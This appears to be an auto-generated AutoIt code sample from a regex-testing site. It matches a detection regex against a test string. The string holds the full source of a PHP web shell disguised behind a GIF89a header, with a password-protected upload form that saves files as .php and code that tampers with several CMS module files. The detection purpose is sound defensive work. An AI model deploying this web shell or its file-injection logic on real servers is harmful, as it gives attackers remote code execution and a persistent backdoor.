#include <StringConstants.au3> ; to declare the Constants of StringRegExp
#include <Array.au3> ; UDF needed for _ArrayDisplay and _ArrayConcatenate
Local $sRegex = "(?is)^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*echo\s*["']privet\s*bot\s*by\s*bajatax\s*\&\&\s*xsam\-xado"
Local $sString = "gif89a" & @CRLF & _
"<?php echo 'privet bot by bajatax && xsam-xadoo'.'<br>'.'uname:'.php_uname().'<br>'.$cwd = getcwd(); echo '<center> <form method="post" target="_self" enctype="multipart/form-data"> <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" /> <input type="password" name="baja_xsam" value="sirt7wa"></form> </center></td></tr> </table><br>'; if (!empty ($_files['uploads']) and md5(md5(md5($_post["baja_xsam"]))) == "ddb0bfc94159c6ac960367ef994ae246"" & @CRLF & _
") { move_uploaded_file($_files['uploads']['tmp_name'],md5(time()).".php"); echo "<b>uploaded !!!</b><br>name : ".md5(time()).".php"."<br>size : ".$_files['uploads']['size']."<br>type : ".$_files['uploads']['type']; } " & @CRLF & _
"$path_exploit_payloads=array("/modules/explorerpro/action.php","/modules/sampledatainstall/sampledatainstall-ajax.php","/modules/colorpictures/ajax/upload.php",);" & @CRLF & _
"" & @CRLF & _
"foreach($path_exploit_payloads as $path_exploit_payload){" & @CRLF & _
" " & @CRLF & _
" if(file_exists($path.$path_exploit_payload)){" & @CRLF & _
" $html=" ";" & @CRLF & _
" if(function_exists("file_get_contents")){" & @CRLF & _
" $html=file_get_contents($path.$path_exploit_payload);" & @CRLF & _
" }" & @CRLF & _
" if(!preg_match("/hash_bajatax/i",$html)){" & @CRLF & _
" $save=fopen($path.$path_exploit_payload,"w");" & @CRLF & _
" fwrite($save,'<?php if(md5(md5(md5($_post["hash_bajatax"]=="7200c4e8bb32ac615efe537aa72d8667")))) { ?> '.$html." <?php } ?>");" & @CRLF & _
" fclose($save);" & @CRLF & _
" }" & @CRLF & _
" }" & @CRLF & _
"}" & @CRLF & _
"?>" & @CRLF & _
"" & @CRLF & _
"" & @CRLF & _
""
Local $aArray = StringRegExp($sString, $sRegex, $STR_REGEXPARRAYGLOBALFULLMATCH)
Local $aFullArray[0]
For $i = 0 To UBound($aArray) -1
_ArrayConcatenate($aFullArray, $aArray[$i])
Next
$aArray = $aFullArray
; Present the entire match result
_ArrayDisplay($aArray, "Result")
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for AutoIt, please visit: https://www.autoitscript.com/autoit3/docs/functions/StringRegExp.htm